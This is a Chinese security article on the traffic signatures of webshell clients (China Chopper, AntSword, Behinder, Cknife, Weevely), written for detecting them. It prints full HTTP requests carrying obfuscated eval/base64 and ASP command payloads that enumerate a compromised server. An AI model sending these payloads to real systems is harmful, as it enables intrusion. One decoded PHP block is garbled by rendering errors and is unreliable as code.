资讯详情

常见WebShell客户端的流量特征及检测思路

01概述

在开始之前,清楚什么是清楚的webshell客户端?先问问题,什么是客户端,什么是服务端?

很简单,服务端提供服务,客户端需要服务。然后回到我们的场景,如果后门已经种植,连接后门的程序需要服务,比如执行ps,目的是获得后门主机的流程列表,这是服务的,因此被称为客户端。本文将在后续介绍一系列相关信息webshell客户流量监控技术。

WebShell客户端用于服务器WebShell我们通常可以根据后门和攻击客户端之间的通信程序WebShell客户端的流量来判断服务器上是否存在WebShell后门。

现在国内外常用WebShell客户端如下:

中国菜刀(使用量最大,适用范围最广)WebShell客户端);

蚁剑(常用)WebShell客户端);

冰蝎(流量加密客户端);

Cknife(C刀,使用Java语言编写)

Weevely(kali中国菜刀)。

其流量特征分别介绍。

02中国菜刀(Chopper)

自诞生以来,中国菜刀经历了多个版本的更新,其功能和秘密性也随着更新而大大提高。菜刀主流使用菜刀有三个版本,分别是2011版、2014版和2016版。这三个版本的功能性从2011版增强到2014版,从2014版增强到2016版。2016版菜刀流量混淆,链接流量更混乱。

基本支持中国菜刀PHP、JSP、ASP这三种WebShell这三种语言对应的流量不同,不需要每个版本。下面将根据不同版本和不同语言的组合进行分析。其中,2011版和2014版菜刀的流量特征基本相同,因此一起分析。

2011版中国菜刀和2014版各语言WebShell链接流量特征

POST /webshell.php HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 40.83.114.50

Referer: http://192.168.180.226

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.168.180.226

Content-Length: 685

Connection: Close

=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

主要特征是body中,将body中流量进行url解码如下:

=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0 fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

POST /muma.jsp HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 213.225.150.214

Referer: http://192.200.41.103

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.200.41.103:8090

Content-Length: 13

Connection: Close

i=A&z0=GB2312

POST /server.asp HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 177.169.197.49

Referer: http://192.168.180.226

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.168.180.226

Content-Length: 968

Connection: Close

caidao=Execute(“Execute(”“On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(”“”“->|”“”“):Execute(”“”“On+Error+Resume+Next:”“”“%26bd(”“”“44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"”“”)):Response.Write(“”“”|<-“”“”):Response.End"“)”)

其中body流量进行URL解码后

caidao=Execute(“Execute(”“On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(”“”“bd=bd&chr(&H”“”“&c&”“”“)”“”“):Else:Execute(”“”“bd=bd&chr(&H”“”“&c&Mid(s,i+2,2)&”“”“)”“”“):i=i+2:End If”“&chr(10)&”“Next:End Function:Response.Write(”“”“->|”“”“):Execute(”“”“On Error Resume Next:”“”“&bd(”“”“44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"”“”)):Response.Write(“”“”|<-“”“”):Response.End"“)”)

中国菜刀2016版本各语言WebShell链接流量特征

PHP类WebShell链接流量

POST /webshell.php HTTP/1.1

X-Forwarded-For: 50.182.119.137

Referer: http://192.168.180.226/

Content-Type: application/x-www-form-urlencoded

Host: 192.168.180.226

Content-Length: 673

Cache-Control: no-cache

=array_map(“ass”.“ert”,array(“ev”.“Al(”\$xx%3D\“Ba”.“SE6”.“4_dEc”.“OdE\”;@ev".“al(\$xx(‘QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D’));”);"));

其中特征主要在body中,将body中部分如下:

=array_map(“ass”.“ert”,array(“ev”.“Al(”\$xx%3D\“Ba”.“SE6”.“4_dEc”.“OdE\”;@ev".“al(\$xx(‘QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D’));”);"));

JSP类WebShell链接流量:

POST /muma.jsp HTTP/1.1

X-Forwarded-For: 89.21.63.3

Referer: http://192.200.41.103:8090/

Content-Type: application/x-www-form-urlencoded

Host: 192.200.41.103:8090

Content-Length: 20

Cache-Control: no-cache

=A&z0=GB2312&z1=&z2=

ASP类WebShell链接流量:

POST /server.aspx HTTP/1.1

X-Forwarded-For: 121.125.8.145

Referer: http://192.168.180.226/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

Host: 192.168.180.226

Content-Length: 639

Cache-Control: no-cache

caidao=%u0052%u0065sponse%u002E%u0057rit%u0065(“X@Y”);var %u0065rr:%u0045xc%u0065ption;

%u0074ry%u007B%u0065val(Syst%u0065m%u002ET%u0065xt%u002E%u0045ncoding%u002EG%u0065t%u0045ncoding(936)%u002EG%u0065tString(Syst%u0065m.Conv%u0065rt%u002EFromBas%u006564String(“dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi8iKSsiXHQiKTtmb3IodmFyIGk9MDtpPD1jLmxlbmd0aC0xO2krKylSZXNwb25zZS5Xcml0ZShjW2ldWzBdKyI6Iik7”)),“unsaf%u0065”);

%u007Dcatch(err)%u007B%u0052esponse%u002E%u0057rite(“ER”%2B"ROR:// "%2Berr.message);%u007D%u0052%u0065sponse.%u0057rit%u0065(“X@Y”);%u0052espons%u0065.%u0045nd();

其中body流量为:

caidao=%u0052%u0065sponse%u002E%u0057rit%u0065(“X@Y”);var %u0065rr:%u0045xc%u0065ption;

%u0074ry%u007B%u0065val(Syst%u0065m%u002ET%u0065xt%u002E%u0045ncoding%u002EG%u0065t%u0045ncoding(936)%u002EG%u0065tString(Syst%u0065m.Conv%u0065rt%u002EFromBas%u006564String(“dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi8iKSsiXHQiKTtmb3IodmFyIGk9MDtpPD1jLmxlbmd0aC0xO2krKylSZXNwb25zZS5Xcml0ZShjW2ldWzBdKyI6Iik7”)),“unsaf%u0065”);

%u007Dcatch(err)%u007B%u0052esponse%u002E%u0057rite(“ER”%2B"ROR:// "%2Berr.message);%u007D%u0052%u0065sponse.%u0057rit%u0065(“X@Y”);%u0052espons%u0065.%u0045nd();

蚁剑的很多代码源于中国菜刀,所以他的链接流量与中国菜刀很相似,但是蚁剑可以扩充性很好,可以对进行加密、混淆等绕过处理。蚁剑默认支持ASP以及PHP的webshell链接。

POST /uploadfiles/shell.php HTTP/1.1

Host: 192.168.180.226

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 889

Connection: close

cmd=%40ini_set%28%22display_errors%22%2C%20%220%22%29%3B%40set_time_limit%280%29%3Becho%20%225434f%22%3Btry%7B%24D%3Ddirname%28%24_SERVER%5B%22SCRIPT_FILENAME%22%5D%29%3Bif%28%24D%3D%3D%22%22%29%24D%3Ddirname%28%24_SERVER%5B%22PATH_TRANSLATED%22%5D%29%3B%24R%3D%22%7B%24D%7D%09%22%3Bif%28substr%28%24D%2C0%2C1%29%21%3D%22%2F%22%29%7Bforeach%28range%28%22C%22%2C%22Z%22%29as%20%24L%29if%28is_dir%28%22%7B%24L%7D%3A%22%29%29%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D%28function_exists%28%22posix_getegid%22%29%29%3F%40posix_getpwuid%28%40posix_geteuid%28%29%29%3A%22%22%3B%24s%3D%28%24u%29%3F%24u%5B%22name%22%5D%3A%40get_current_user%28%29%3B%24R.%3Dphp_uname%28%29%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch%28Exception%20%24e%29%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage%28%29%3B%7D%3Becho%20%220a5f4%22%3Bdie%28%29%3B

其中body流量进行URL解码后为:

cmd=@ini_set(“display_errors”, “0”);

@set_time_limit(0);echo “5434f”;try{ D = d i r n a m e ( D=dirname( D=dirname(_SERVER[“SCRIPT_FILENAME”]);

if( D = = " " ) D=="") D=="")D=dirname( S E R V E R [ " P A T H T R A N S L A T E D " ] ) ; _SERVER["PATH_TRANSLATED"]); S​ERVER["PATHT​RANSLATED"]);R="{$D} ";

if(substr($D,0,1)!=“/”){foreach(range(“C”,“Z”)as $L)

if(is_dir(“{ KaTeX parse error: Expected 'EOF', got '}' at position 2: L}̲:"))R.=”{ KaTeX parse error: Expected 'EOF', got '}' at position 2: L}̲:";}else{ R.=“/”;}$R.=" ";

u = ( f u n c t i o n e x i s t s ( " p o s i x g e t e g i d " ) ) ? @ p o s i x g e t p w u i d ( @ p o s i x g e t e u i d ( ) ) : " " ; u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; u=(functione​xists("posixg​etegid"))?@posixg​etpwuid(@posixg​eteuid()):"";s=( u ) ? u)? u)?u[“name”]:@get_current_user();

R . = p h p u n a m e ( ) ; R.=php_uname(); R.=phpu​name();R.=" {$s}";

echo $R;;}catch(Exception KaTeX parse error: Expected '}', got 'EOF' at end of input: …cho "ERROR://".e->getMessage();};echo “0a5f4”;die();

其中流量最中明显的特征为**@ini_set(“display_errors”,“0”);**这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。

POST /uploadfiles/shell.php HTTP/1.1

Host: 192.168.180.226

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 1248

Connection: close

cmd=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn%20Error%20Resume%20Next%3AFunction%20bd%28byVal%20s%29%3AFor%20i%3D1%20To%20Len%28s%29%20Step%202%3Ac%3DMid%28s%2Ci%2C2%29%3AIf%20IsNumeric%28Mid%28s%2Ci%2C1%29%29%20Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd%20If%22%22%26chr%2810%29%26%22%22Next%3AEnd%20Function%3AResponse.Write%28%22%22%22%22a6bbf%22%22%22%22%29%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On%20Error%20Resume%20Next%3A%22%22%22%22%26bd%28%22%22%22%2244696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329%22%22%22%22%29%29%3AResponse.Write%28%22%22%22%226a525%22%22%22%22%29%3AResponse.End%22%22%29%22%29

其中body流量进行URL解码后为:

cmd=eval(“Ex”&cHr(101)&“cute(”“Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(”“”“bd=bd&chr(&H”“”“&c&”“”“)”“”“):Else:Execute(”“”“bd=bd&chr(&H”“”“&c&Mid(s,i+2,2)&”“”“)”“”“):i=i+2:End If”“&chr(10)&”“Next:End Function:Response.Write(”“”“a6bbf”“”“):Ex”&cHr(101)&“cute(”“”“On Error Resume Next:”“”“&bd(”“”“44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"”“”)):Response.Write(“”““6a525"””“):Response.End”“)”)

我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnError ResumeNext、Response.End、Response.Write,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex"&cHr(101)&"cute,同时该流量中也使用了eval参数,可以被认为明显特征。

由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划线可替换为其他)

所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

其中冰蝎是近几年出现的一种WebShell客户端,该链接器最大的特点就是流量进行加密,且加密秘钥是由使用者来设定,但是该拦截器对WebShell的需求比较高,无法连接一句话木马,综上,该客户端的流量无法检测。

关于其工作原理及功能介绍作者已经详细介绍:

《利用动态二进制加密实现新型一句话木马之客户端篇》https://xz.aliyun.com/t/2799

《利用动态二进制加密实现新型一句话木马之Java篇》https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》https://xz.aliyun.com/t/2774

Cknife流量的特征就是在body部分的参数值均为base64编码,将该部分进行base64解码后,其流量特征同中国菜刀一致,所以不再另行展开分析

Weevely是kail中自带的一款功能强大的WebShell客户端,该链接器首先自己生成webshell,在将该webshell上传至目的服务器后,通过Weevely进行链接,该链接流量属于加密流量,但是在该流量中还可以发现特征,进行区分。

GET /1.php HTTP/1.1

Accept-Encoding: identity

Accept-Language: yi-YI,pi;q=0.4,ps;q=0.6

Connection: close

Accept: text/html,text/plain;0.9,application/xml;0.8,application/xhtml+xml;0.6,/

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1

Host: 192.168.180.226

Cookie: PHPSESSID=bbc97776857c779ad2f37d78b0b9064f

Referer: http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=572&ved=DfoNma8EW&url=168.180&ei=wMe1ch8itcFEwSremerALK&usg=1IssmLxJeA7JpizoopzuJyD7NUDEzAqMzr该流量中的攻击载荷存在于Referer中,其中Referer中的路径中php的查询参数有以下参数名或值,即sa=、source=web、cd=数字、url=、ei=,即可确定该流量为客户端流量。

标签: 007b2ln传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台